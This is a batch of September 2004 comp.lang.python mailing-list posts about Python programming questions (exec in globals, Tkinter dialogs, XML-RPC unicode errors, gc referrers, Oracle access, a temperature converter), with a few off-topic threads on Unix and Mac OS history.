From: indigo at bitglue.com (Phil Frost) Date: Fri, 10 Sep 2004 15:10:09 -0400 Subject: python to C ? In-Reply-To: <24972.12.151.80.14.1094843237.squirrel@webmail.vex.net> References: <24972.12.151.80.14.1094843237.squirrel@webmail.vex.net> Message-ID: <20040910191009.GA13533@unununium.org> Really sounds like Pyrex to me, but perhaps you are thinking of Psyco? On Fri, Sep 10, 2004 at 03:07:17PM -0400, mudd at vex.net wrote: > I seem to remember an announcement on Daily Python-URL in the past year or > two about a project that converts Python to C. The goal wasn't to convert > generic Python but a limited subset. Something else unique was that the > generated C code was sort of object oriented, actually readable. > > But I don't remember the project name and can't find it even after many > tries with Google, Vaults of P., etc. And it wasn't Pyrex. Does anyone > recognize what I'm describing? > > John From __peter__ at web.de Sat Sep 11 14:32:54 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 11 Sep 2004 20:32:54 +0200 Subject: How can I exec() in global? References: <chvf25$20uu$1@ulysses.noc.ntua.gr> Message-ID: <chvgcm$ju3$05$2@news.t-online.com> Jerald wrote: > Is it possible to exec() from within a function so the exec'd > code affects global? > > For example > > def foo(): > exec ('X=[1,2,3]') > > And I'd like 'X' to be a global variable. >>> x Traceback (most recent call last): File "<stdin>", line 1, in ? NameError: name 'x' is not defined >>> def foo(): ... exec "x = [1, 2, 3]" in globals() ... >>> foo() >>> x [1, 2, 3] Peter From __peter__ at web.de Thu Sep 9 13:30:26 2004 From: __peter__ at web.de (Peter Otten) Date: Thu, 09 Sep 2004 19:30:26 +0200 Subject: Is except: ... pass bad style? References: <pan.2004.09.09.16.26.16.985806@python.net> Message-ID: <chq3vi$qb0$01$1@news.t-online.com> marduk wrote: > I commonly use code like this > > try: > # call optional method > myobj.method() > except AttributeError: > # no biggie > pass > > > Occasionally I use pylint, which is a good tool, but in the above > snippet pylint will complain that 'Except doesn't do anything'. True, > but is that bad style? I know there are other ways of doing it, but > of all the other "obvious" ones, this appears the most straight > forward. > > Should I ignore pylint or is there a more Pythonic way to do this? If the class of myobj is under your control you could do class MyObj: def method(self): pass and then later just call myobj.method() Result: cleaner client code :-) Peter From bhk at dsl.co.uk Sat Sep 4 18:31:37 2004 From: bhk at dsl.co.uk (Brian {Hamilton Kelly}) Date: Sat, 04 Sep 2004 23:31:37 +0100 (BST) Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <41371e5c$0$19723$61fed72c@news.rcn.com> Message-ID: <20040904.2231.57679snz@dsl.co.uk> On Thursday, in article <41371e5c$0$19723$61fed72c at news.rcn.com> jmfbahciv at aol.com wrote: > In article <2mmdj0t6mjgif88en11skbo3n8uiuj46nc at 4ax.com>, > Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote: > >MS has been borrowing code from Unix to create a real OS: TCP/IP; > >NTFS<-ffs; memory mapped files<-mmap. > > All right. Now I'm mystified. Why did they have to borrow code > from Unix? They already had VMS. ISTM, VMS had all of the > above. VMS (originally) most decidedly did NOT have either TCP/IP or NFS. Indeed, it took many years before DEC [sorry, by then it was already d|i|g|i|t|a|l] had a TCP/IP stack available for VMS --- the dreaded heap of quivering jelly created by the Eunice idiots. Before that, people who needed TCP/IP on a Vax used various third-party solutions, such as the implementations from Carnegie-Mellon (CMU) or Wollongong universities. Then, of course, there was what many regarded as the best TCP/IP stack for VMS, MultiNet from TGV (Two Guys and a VAX). That product also included a working NFS implementation. -- Brian {Hamilton Kelly} bhk at dsl.co.uk "I don't use Linux. I prefer to use an OS supported by a large multi- national vendor, with a good office suite, excellent network/internet software and decent hardware support." From kkrueger at example.edu Thu Sep 2 14:11:08 2004 From: kkrueger at example.edu (Karl A. Krueger) Date: Thu, 2 Sep 2004 18:11:08 +0000 (UTC) Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <1094141001.125507@teapot.planet.gong> Message-ID: <ch7nnq$sk1$1@baldur.whoi.edu> In comp.lang.lisp Rupert Pigott <roo at try-removing-this.darkboong.demon.co.uk> wrote: > John Thingstad wrote: >> >> As for following standards thats just plain sense. Note the Mac OS >> 10 / Darwin uses a unix kernel because of all the problems with >> interoperabillity OS 9 had with talking to Windows and Unix boxes. > > Which I believe is derived from a Mach uKernel... The "UNIX" bits > are the FreeBSD userland utilities that surround it. Well, no. Mac OS X uses a BSD kernel implemented on top of the Mach microkernel, much as Apple's experimental mkLinux placed a Linux kernel on top of Mach. OS X also uses a pretty standard set of BSD libraries and utilities -- as well as the NeXT-derived ones. (You can tell the heritage apart pretty easily -- if it's written in Objective-C, it's from the NeXT side.) The BSD heritage is a two-way street: Apple has contributed code developed for OS X back to the FreeBSD and OpenBSD projects, as well as releasing the whole Unix core of OS X as the open-source Darwin system. It's also not particularly accurate to say that the reason Apple moved to Unix was "interoperability". Rather, the old Mac System was simply never designed for what it ended up being used to do. There were too many layers of cruft -- and too many design decisions that were right for 1984 but wrong for 1999. Single-user, cooperative multitasking, and a network stack designed for small LANs rather than the Internet ... the old Mac System was a great microcomputer OS but not a great workstation OS. When you consider that the first Macs to run OS X were several hundred times faster than the 1984 Mac, had one thousand times as much RAM, and had fifty thousand times as much mass storage, it should follow pretty naturally that the constraints of the old system's design would cease to be appropriate. 1984 Original Macintosh: 128kB RAM, 8MHz m68k, 400kB disk 1999 Power Macintosh G4: 128MB RAM, 400MHz PPC G4, 20 GB disk -- Karl A. Krueger <kkrueger at example.edu> Woods Hole Oceanographic Institution Email address is spamtrapped. s/example/whoi/ "Outlook not so good." -- Magic 8-Ball Software Reviews From uthand at hotmail.com Tue Sep 14 10:27:08 2004 From: uthand at hotmail.com (Fritz Bosch) Date: 14 Sep 2004 07:27:08 -0700 Subject: Import into specified namespace References: <cf038e65.0409080844.16289c78@posting.google.com> <1gjt62r.16m0vef1e8ujm4N%aleaxit@yahoo.com> Message-ID: <cf038e65.0409140627.69018881@posting.google.com> aleaxit at yahoo.com (Alex Martelli) wrote: > ... > Why not sys.modules['sys'] = mydic instead of trying to rebind > sys.__dict__? You can't affect those other modules which have ALREADY > imported sys, yourself included (but as for you, you can remedy that > easily -- sys = sys.modules['sys'] = mydic...), but otherwise you should > be OK. sys.__dict__.update(mydic) as the last statement might also be > an alternative (and if it works for your purposes, it's cleaner than > rebinding sys.modules['sys']!-). Thanks for the hint. I actually want a different behavior for the namespace, so the second suggestion (though cleaner) won't work for me. In fact, I had to modify the first to get what I want, namely a namespace (for a module) with a reverse lookup capability, i.e. given an object, it returns the object's name (if any) inside the namespace. I eventually got following to run: Assume a small module 'mymod.py', for which I need a namespace with reverse lookup capability: ------------------------------------------------------------- import sys def fn(): name = fn.__module__ # print the id of this module in sys.modules, along with the ids # of the function and current globals, and the module's dict print 'mymod name:%s id(sys.modules[name]):%s' % ( name, id(sys.modules[name])) print ' id(fn.func_globals):%s id(globals()):%s \ id(sys.modules[name].__dict__):%s' % ( id(fn.func_globals), id(globals()), id(sys.modules[name].__dict__)) ------------------------------------------------------------- To do this, I have defined following namespace.py module: ------------------------------------------------------------- import sys import os class RNameSpace(dict): def __init__(self, *args, **kw): dict.__init__(self, *args, **kw) self.__rdict = {} for name, val in self.items(): self.__rdict[id(val)] = name def __setitem__(self, name, val): if name in self: del self.__rdict[id(self[name])] dict.__setitem__(self, name, val) self.__rdict[id(val)] = name def update(self, other): for name, val in other.items(): self[name] = val def __delitem__(self, name): if name in val: del self.__rdict[id(self[name])] dict.__delitem__(self, name) def rlookup(self, obj): return self.__rdict[id(obj)] class Module(object): def __init__(self, mod_name, namespace=None): if namespace is None: namespace = RNameSpace() if isinstance(namespace, RNameSpace): self.__dict__ = namespace else: self.__dict__ = RNameSpace(namespace) module = __import__(mod_name) self.__dict__.update(module.__dict__) def reload(self): file = os.path.splitext(self.__file__)[0] + '.py' execfile(file, self.__dict__) def install(self): mod_name = self.__name__ sys.modules[mod_name] = self if __name__ == '__main__': ns = RNameSpace(a=1,b=2) c1 = 3 ns['c']=c1 a1 = ns['a'] print ns.rlookup(a1), ns.rlookup(c1) print "create Module md from 'mymod' to use RNameSpace:" md = Module('mymod') print 'id(md):%s id(md.__dict__):%s' % (id(md), id(md.__dict__)) print "\nnote that md.fn still uses original namespace:" md.fn() print '\nreload the file - now md.fn used the RNameSpace:' md.reload() md.fn() print '\nan import still uses the original namespace:' import mymod mymod.fn() print '\ninstall the module - subsequent imports \ use the altered namespace:' md.install() import mymod mymod.fn() ------------------------------------------------------------- >From the above it can be seen that it was necessary to create a module-like object with the specified namespace and to call execfile with this namespace ? I could find no other way to make the classes/functions inside mymod use the namespace. Replacing the sys.modules entry with this object then causes subsequent imports to use the module-like object. B.t.w. am I re-inventing the wheel here? Is there another way to get the name from given an object id? Fritz From pwmiller1 at adelphia.net Fri Sep 17 00:39:09 2004 From: pwmiller1 at adelphia.net (Paul Miller) Date: Thu, 16 Sep 2004 23:39:09 -0500 Subject: dummy tk windows References: <gEk2d.25744$%S.13058@pd7tw2no> Message-ID: <pan.2004.09.17.04.39.08.814115@adelphia.net> On Thu, 16 Sep 2004 18:08:12 +0000, Elaine Jackson wrote: > When I use a function from tkFileDialog outside of a tk GUI context, it > creates a "dummy" tk window. It would be nice to know how to close these > windows programmatically. TIA > IIRC, you can't close them without terminating the tcl interpreter (doing so destructs the implicitly created Tk object you instantiated when you used the tkFileDialog function). However, you can hide it with: import Tkinter import tkFileDialog root = Tkinter.Tk() root.withdraw() fileOpen = tkFileDialog.Open() fileOpen.show() HTH From eric_brunel at despammed.com Fri Sep 10 11:57:27 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Fri, 10 Sep 2004 17:57:27 +0200 Subject: WxInter References: <mailman.3148.1094829029.5135.python-list@python.org> Message-ID: <chsieg$7q1$1@news-reader3.wanadoo.fr> Michael Sparks wrote: > On Fri, 10 Sep 2004, Skip Montanaro wrote: > > >> Tom> It seems that the thing that people like about Tk is the Canvas >> Tom> object has anyone tried the wxFloatCanvas as a replacement. >> >>Where is it? Google turns up essentially nothing for "wxFloatCanvas" on >>either groups or web. That makes it a pretty well-hidden object. Google >>offered "wxPlotCanvas" as an alternative. Are they related? > > > http://www.wxpython.org/docs/api/wx.lib.floatcanvas.FloatCanvas.FloatCanvas-class.html Compare this with the tk canvas command manual at http://www.tcl.tk/man/tcl8.3/TkCmd/canvas.htm and you'll see we're quite far from it: I didn't see any means to move canvas items individually, or group them with tags, or knowing which items are at a given position, all things a tk canvas can do very easily... The main difference between the tk canvas and the other toolkits' canvases is in fact quite simple: in other toolkits, once displayed, a canvas item is just a bunch of points. In tk, it remains a whole item which can be manipulated as a whole. Basically, in tk, canvases are for vector drawing; in other toolkits, they're more for bitmap drawing. And this makes quite a difference... -- - Eric Brunel <eric (underscore) brunel (at) despammed (dot) com> - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From nagendra.swamy at gmail.com Wed Sep 29 08:34:16 2004 From: nagendra.swamy at gmail.com (Nagendra) Date: 29 Sep 2004 05:34:16 -0700 Subject: Support for ODBC for Oracle through Python on solaris Message-ID: <1880e162.0409290434.6a3279db@posting.google.com> Hi all, I need to access an Oracle database through a python script using ODBC drivers(currently i have eval copies of Easysoft and datadirect Oracle ODBC drivers). Desired platforms are solaris, linux. Is there any support in the python to do this or will i have to resort to a c/c++ program becuase python for UNIX doesn't support this. any pointers will be appriciated. Thanks in advance. Nagendra. From gregh at object-craft.com.au Thu Sep 16 19:59:58 2004 From: gregh at object-craft.com.au (Greg Hamilton) Date: Fri, 17 Sep 2004 09:59:58 +1000 Subject: XML_RPC and unicode problems In-Reply-To: <7bf84d19.0409161548.521da358@posting.google.com> References: <7bf84d19.0409161548.521da358@posting.google.com> Message-ID: <414A28FE.30503@object-craft.com.au> Thomas wrote: >I am currently passing email messages over XML_RPC as the payload for >a certain function call. On some of these messages, XML_RPC blows up >on the server side and says something to the effect of: > >exceptions.UnicodeDecodeError: 'utf8' codec can't decode byte 0xa0 in >position 1599: unexpected code byte > >Using the native Python codec for doing conversions gives me a similar >error ('utf8' codec can't decode byte 0x93 in position 1328: >unexpected code byte). That gives me the feeling that these specific >messages are just funky. (Looking at the location in the file that >they are choking seems to be random characters) > >What I've come to believe is that XML_RPC automatically assumes any >strings it transfers are unicode and thusly tries to do conversions on >these strings. Therefore, is there any way to keep XML_RPC from doing >unicode conversions, or is there some way for me to just pass raw data >over XML_RPC without having to worry about it? > > http://www.xmlrpc.com/spec Have a look at the <base64> data type. From siona at chiark.greenend.org.uk Fri Sep 10 09:14:37 2004 From: siona at chiark.greenend.org.uk (Sion Arrowsmith) Date: 10 Sep 2004 14:14:37 +0100 (BST) Subject: Is there no switch function in Python References: <CR20d.46131$Vf.2380522@news000.worldonline.dk> Message-ID: <1Zb*VOguq@news.chiark.greenend.org.uk> In article <CR20d.46131$Vf.2380522 at news000.worldonline.dk>, Rudi Hansen <rsh_remove_this_ at pobox.dk> wrote: >I dont seem to be able to find the switch statement in Python. > >I would like to be able to do > >switch(var) > case 1 : > print "var = 1" > case 2: > print "var = 2" 5 lines, 55 characters including the print statements. >But it seems that i have to do. > >if(var=1) > print "var =1" >elseif(var=2) > print "var=2" 4 lines, 52 characters (once corrected) including the print statements (as written in the first example). >Is ther no easier way?? In what way do you want it to be "easier"? -- \S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/ ___ | "Frankly I have no feelings towards penguins one way or the other" \X/ | -- Arthur C. Clarke her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump From kkt at drizzle.com Tue Sep 21 20:15:57 2004 From: kkt at drizzle.com (Patrick Scheible) Date: 21 Sep 2004 17:15:57 -0700 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <Zdm0d.88398$S55.30393@clgrps12> <chsvv6$v15$1@grandcanyon.binc.net> <tqm3c1krcuo.fsf@drizzle.com> <r6gek0diq28jqi0ie18hku87r8865lt3p8@4ax.com> <tqmhdpwqf8s.fsf@drizzle.com> <s0utk01omk8aipn7vclocmdgokfu66bu2g@4ax.com> Message-ID: <tqmk6unxio2.fsf@drizzle.com> Alan Balmer <albalmer at att.net> writes: > On 17 Sep 2004 23:10:27 -0700, Patrick Scheible <kkt at drizzle.com> > wrote: > > >Alan Balmer <albalmer at att.net> writes: > > > >> On 14 Sep 2004 10:15:27 -0700, Patrick Scheible <kkt at drizzle.com> > >> wrote: > >> > >> >Chuck Dillon <spam at nimblegen.com> writes: > >> > > >> >> Coby Beck wrote: > >> >> > >> >> >> > >> >> >>And, of course, entertaining the possibility that his agenda is just > >> >> >>what he says it is, is completely out of the question. > >> >> > Not out of the question, be obviously untrue. > >> >> > >> >> Again, I'll point out that it is naive to put this entirely on the > >> >> administration. We're in Iraq because we effectively declared > >> >> war. The dance with the U.N. went on for some 3 months. It was clear > >> >> where we were headed. Our congress, including Kerry and all of the > >> > ^^^ > >> >Not all. I'm happy to say my representative and one of my senators > >> >voted against the resolution authorizing the war. > >> > > >> >Congress doesn't have its own intelligence service. If the > >> >administration claims to have clear evidence that a country has WMD > >> >there's only so much that a minority party in congress can do to find > >> >out if the administration is lying or engaged in wishful thinking. > >> > >> http://intelligence.house.gov/ > >> http://intelligence.senate.gov/ > > > >They have committees, they don't have independent > >intelligence-gathering ability. > > > Neither does President Bush - he doesn't have time for all those field > trips. That's why he gets reports from the various intelligence > agencies, who also report to the Congressional intelligence > committees. The intelligence goes from the analysts to administration appointees, who filter out what they don't want to hear and pass the remainder on to POTUS and Congress. -- Patrick From jerf at jerf.org Tue Sep 7 14:12:55 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 07 Sep 2004 18:12:55 GMT Subject: gc.get_referrers trouble References: <chkt0m$av0$04$1@news.t-online.com> Message-ID: <pan.2004.09.07.14.13.08.463893@jerf.org> On Tue, 07 Sep 2004 20:00:58 +0200, Diez B. Roggisch wrote: > Hi, > > I'm in the process of debugging a mem-leaking app. A recent thread here on > c.l.py mentioned the use of the gc module, so I gave it a try. > > However, using get_referrers() yields in literally thousands of objects for > even the tiniest example like this: > > import gc > a = [1] > print gc.get_referrers(1) For space reasons, small ints are re-used. You get thousands of referrers to the number 1 because, well, there are! Try this: import gc a = [4444444444444] print gc.get_referrers(4444444444444) and you'll get something much more reasonable: [(None, 4444444444444L), [4444444444444L]] From jerf at jerf.org Thu Sep 2 20:00:38 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Fri, 03 Sep 2004 00:00:38 GMT Subject: compiling to python byte codes References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> Message-ID: <pan.2004.09.02.20.00.45.714844@jerf.org> On Thu, 02 Sep 2004 23:10:11 +0000, Maurice LING wrote: > Can I feed a python source file into compile(), line by line, and expect > it to generate a working .pyc file? I suppose my intended use is to be > able to handle python codes written at run time, to execute python codes > line by line, in a python program. It is somewhat like a tracer routine > that can interpret a line of python code, read out the variables, before > going to the next line of python code. Can compile() do this, or do I > have to use pexpect to run an instance of python? Why don't you clearly spell out your intended use and ask about that, instead? If, based on your use of "I suppose" and "somewhat", you are still unclear on your intended use, figuring that out would be step #1. :-) Many good modules exist for many things already; if you're trying to trace for instance, there is a module for that. Let's start at the beginning: What are you trying to do? From xv0017python at yahoo.com Mon Sep 20 14:00:05 2004 From: xv0017python at yahoo.com (julio) Date: Mon, 20 Sep 2004 14:00:05 -0400 Subject: Shopping cart References: <81a41dd.0409200816.5659197b@posting.google.com> <414f161b$0$25965$e4fe514c@news.xs4all.nl> Message-ID: <cin5ra$gem$1@sea.gmane.org> Irmen de Jong wrote: > Lad wrote: >> Is there a shopping cart in Python available? > > I have no clue what you are asking. > Perhaps the answer is here: > http://www.catb.org/~esr/faqs/smart-questions.html > > --Irmen mmm, shopping cart sofware , to make online stores From carribeiro at gmail.com Wed Sep 22 16:01:42 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 22 Sep 2004 17:01:42 -0300 Subject: An attempt to use a python-based mini declarative language for formdefinition In-Reply-To: <RKadnchjSclpIszcRVn-tw@comcast.com> References: <mailman.3731.1095874585.5135.python-list@python.org> <RKadnchjSclpIszcRVn-tw@comcast.com> Message-ID: <864d370904092213016452b51f@mail.gmail.com> On Wed, 22 Sep 2004 13:10:00 -0500, Larry Bates <lbates at swamisoft.com> wrote: > You may can write your own __setattr__ method. > That way you can keep track of the order of > the fields yourself. Larry, I may have made a mistake on my own code, but __setattr__ would not work for me; I'm creating my instances through a metaclass, and I'm using class attributes for the fields. In your example the form fields are instance attributes. In this case, I agree it works. But as I said -- I was testing if I could make it work using class attributes and metaclasses. I think that the resulting code is much cleaner (after all black magic is done and hidden from the user, that is). Compare: 1) using class attributes class UserForm(Form): nickname = TextBox(length=15, default="") password = TextBox(length=10, default="", password=True) name = TextBox(length=40, default="") 2) using instance atttributes class UserForm(Form): def __init__(self): Form.__init__(self) self.nickname = TextBox(length=15, default="")) self.password = TextBox(length=10, default="", password=True)) self.name = TextBox(length=40, default="") Others may think that's a small difference, but if I could choose between both approaches, I would surely pick (1). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From greg.lindstrom at novasyshealth.com Tue Sep 28 17:20:02 2004 From: greg.lindstrom at novasyshealth.com (Greg Lindstrom) Date: Tue, 28 Sep 2004 16:20:02 -0500 Subject: Oracle Access via cx_Oracle Message-ID: <01c301c4a5a0$eb87ea40$054b12ac@D18SYX41> >Shouldn't this be '/u01/app/oracle/product/9.2.0' ? Based on the following values, that's what I'd expect. I changed the ORCALE_HOME environment variable to the above suggested value and got a new error!! That's progress, right? I'm now told: cx_Oracle.DatabaseError: ORA-12154: TNS:could not resolve service name /usr/bin/sh: cx_Oracle.DatabaseError:: not found Is this any help? Thanks! Greg Lindstrom (501) 975-4859 NovaSys Health greg.lindstrom at novasyshealth.com "We are the music makers, and we are the dreamers of dreams" W.W. From guess at My.email.address.scum.com Thu Sep 9 15:04:32 2004 From: guess at My.email.address.scum.com (Anon) Date: Thu, 9 Sep 2004 20:04:32 +0100 Subject: found bakups of code I never asked for --- Message-ID: <chq9fu$9ii$1@newsg3.svr.pol.co.uk> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey everyone. I was looking around my file system today when I stumbled ac ross A -COMPLETE- bakup of every piece of python code I ever coded in the folder... C:\Documents and Settings\edit.edit\Local Settings\Temp\bak Can someone tell me were the options are for turnin this bakup feature on and off?? I have current Python build installed, ie 2.3.4 and also Pythonwin same build.. I cannot remember selecting any option in the setup to bakup my code this way, so I was wondering were the feature for it actualy is??? I probably would like to keep it, just in case of any file corruption problems, but it would be ncie to no that I ALSO turn the feature of as well. Thanks. Anon - -- ************* The Imagination may be compared to Adam's dream- he awoke and found it truth. John Keats. ************* -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBQUCpPi/z2sM4qf2WEQI+rwCgvFxlyaDvIscS9pbYFPVfiDNot3cAoKyz xnFAyoYozJtjtERcKdMGOJoU =hLXS -----END PGP SIGNATURE----- From peter at engcorp.com Fri Sep 10 00:15:26 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 00:15:26 -0400 Subject: Electronic voting feasibility In-Reply-To: <chr77a$4gj@odak26.prod.google.com> References: <chr77a$4gj@odak26.prod.google.com> Message-ID: <TLCdnWYdVNXDt9zcRVn-hw@powergate.ca> Greg Steffensen wrote: > I'm designing a web portal for universities (a free software, by/for > students thing), and I'm considering including an electronic voting > component. ... > Are there any technical reasons that Python would be a poor choice for > this? I have no illusions that its possible to build a perfect system, > but would Python be more vulnerable than C or Java for some reason? If anything, Python will be much *more* secure than C, and possibly slightly less secure than Java. On the other hand, once we're past the old buffer overflow issues (always an issue with C, effectively never an issue with Python) and similar low-level technical problems, we are in the realm where the *design of your system* is more likely to be the cause of any security flaws, rather than the tools used. Here, too, Python may have an advantage, as it should allow you to build the system in a way that more closely matches the design. Python is fairly high level, even compared to Java, so in should let you spend less time coding and more time designing, and for a security-sensitive app that is the most important thing (after what might really be the most important thing, which is to become a security guru...or hire one). > I'm not a security guru, but ... :-) -Peter > choice of language is largely arbitrary. > Is this wrong? Are there reasons to choose/avoid Python? Very few reasons to avoid, many reasons to choose. The choice shouldn't be arbitrary, but neither should it be based solely on the question you ask in this message (roughly, "is Python more secure than C or Java?"). -Peter From Lazareth at gmail.com Thu Sep 30 15:15:24 2004 From: Lazareth at gmail.com (Lazareth S. Link) Date: 30 Sep 2004 12:15:24 -0700 Subject: New to python, baffled by program output Message-ID: <d866d394.0409301115.76cdbb5@posting.google.com> Hiya to whoever might stumble across this. I've recently taken up learning how to script/program in python. I've made my first program, a simple fahrenheit-celsius converter, both ways. For some reason I fail to comprehend, the program writes a line of "None" when rerun in a while loop. Here is the code: ---START--- def choice_c(): print celsius = input("Input celsius: ") print "Fahrenheit: ",cel_fah(celsius) print def choice_f(): print fahrenheit = input("Input fahrenheit: ") print "Celsius: ",fah_cel(fahrenheit) print def cel_fah(placeholder): return 9.0/5.0*placeholder+32 def fah_cel(placeholder): return (placeholder-32.0)*5.0/9.0 def options(): print "press 'c' to convert celsius to fahrenheit." print "press 'f' to convert fahrenheit to celsius." print "press 'q' to exit program." choice = "n" options() while choice != "q": choice = raw_input("Choice: ") if choice == "c": choice_c() elif choice == "f": choice_f() print options() ---END--- Any of you know why it prints that line? Is is just my comp? If any applies, how to get around it? Would greatly appreciate the help. From guettli at thomas-guettler.de Fri Sep 17 09:52:17 2004 From: guettli at thomas-guettler.de (Thomas Guettler) Date: Fri, 17 Sep 2004 15:52:17 +0200 Subject: Python Webstart ? References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> Message-ID: <pan.2004.09.17.13.52.16.705912@thomas-guettler.de> Am Fri, 17 Sep 2004 21:43:04 +1000 schrieb huy: > Hi, > > Just wondering if there were any plans (or existing projects) similar to > Java webstart for Python. I think this would be a boon for python. I > would love to start my new project using Python but the deployment (and > long term upgrading) factor is a major itch which pyfreeze and py2exe > just doesn't scratch properly. Hi, what does webstart do? Thomas From yk.suse at bullier.org Wed Sep 8 15:11:05 2004 From: yk.suse at bullier.org (Yann.K) Date: Wed, 08 Sep 2004 21:11:05 +0200 Subject: TKinter + display of a shell command return References: <chn0pr$tr7$1@biggoron.nerim.net> <chn98b$9gr$1@news-reader1.wanadoo.fr> Message-ID: <chnlg9$199t$1@biggoron.nerim.net> Eric Brunel wrote: > What is your problem here? Inserting at the end of the text and call the > see method on the text widget to make sure the last line is displayed > should be enough. An update_idletasks may also be needed to actually > display something, but it depends on the architecture of your script, > typically on whether you use threads or not. Yes, really it run great but no as i would! For long process, the display wait the end of the script execution to display all the lines of the mesage. I would that the lines appears as soon as the shell putt the message. So; if the treatment is very long (ie 10 min), the line of the message appears every second (in fact h*just when they are forwarder from the shell. I would display the shell return like an "tail -f syslog" command on linux... I hope to be clearer... Thanks for your help, -- Yann.K From fuzzyman at gmail.com Thu Sep 2 04:02:22 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 2 Sep 2004 01:02:22 -0700 Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> <Pine.LNX.4.44.0409012156390.29696-100000@ccc4.wpi.edu> Message-ID: <6f402501.0409020002.614bf5f2@posting.google.com> Christopher T King <squirrel at WPI.EDU> wrote in message news:<Pine.LNX.4.44.0409012156390.29696-100000 at ccc4.wpi.edu>... > On Tue, 1 Sep 2004, Amanita, Love Ewe wrote: > > > Sharon expects the printer within hers and actually looks. Why will you > > grasp the ugly worthwhile onions before Satam does? Many proud > > cats over the abysmal planet were loving against the tired bathroom. > > This is a common newbie trap. The reason is that default arguments are > only evaluated once; any changes you make to the list will be reflected in > the default argument. > That's very funny... I'm really impressed. Regards, Fuzzy [snip..] http://www.voidspace.org.uk/atlantibots/pythonutils.html From davebrok at soda.csua.berkeley.edu Fri Sep 24 09:31:19 2004 From: davebrok at soda.csua.berkeley.edu (David Pokorny) Date: Fri, 24 Sep 2004 06:31:19 -0700 Subject: Unexpected Python Behavior References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> <mailman.3834.1096015522.5135.python-list@python.org> Message-ID: <RImdnbz2hMm7v8ncRVn-qg@lmi.net> "Fredrik Lundh" <fredrik at pythonware.com> wrote in message > > it's a well-known "you'll only do this once" mistake. which is a good thing, "Because of this feature, it is good programming practice to not use mutable objects as default values." -- http://www.python.org/doc/faq/general.html#why-are-default-values-shared-between-objects Has it been discussed whether it would be a good idea to issue a warning in this case? It strikes me that a warning wouldn't bother veteran programmers, since it is really easy to avoid using a mutable default value (nearly trivial to modify code that does use mutable default values). I'd imagine it makes code more readable too. David Pokorny From mwh at python.net Sat Sep 4 08:38:22 2004 From: mwh at python.net (Michael Hudson) Date: Sat, 4 Sep 2004 12:38:22 GMT Subject: How to actually write a program? References: <chano0$1gv$1@sparta.btinternet.com> Message-ID: <m3d612dxaa.fsf@pc150.maths.bris.ac.uk> "Nick Evans" <nick at huff.org.uk> writes: > Hello there, > I have been on and off learning to code (with python being the second > language I have worked on after a bit of BASIC). What I really want to know > is, if you are going to actually write a program or a project of some sort, > how do you actually start. > > Picture this, you know what you want the program to do (its features), you > have a possably rough idea of how the program will work. You have opened an > empty text file and saved it as 'mykewlprogram.py' and now your sitting in > front of an empty text file... Now then.... where do I start. > > Any ideas about this problem :-) In addition to what others have said, I use the interactive interpreter A LOT (probably too much; I should write more tests). Cheers, mwh -- ... the U.S. Department of Transportation today disclosed that its agents have recently cleared airport security checkpoints with an M1 tank, a beluga whale, and a fully active South American volcano. -- http://www.satirewire.com/news/march02/screeners.shtml From pfortin at pfortin.com Sun Sep 12 13:37:12 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Sun, 12 Sep 2004 13:37:12 -0400 Subject: Mail extraction problem (something's wrong with split methods) References: <pan.2004.09.11.16.21.15.772439@public.srce.hr> <chvb1c$tj6$00$1@news.t-online.com> <pan.2004.09.11.18.06.40.754033@public.srce.hr> 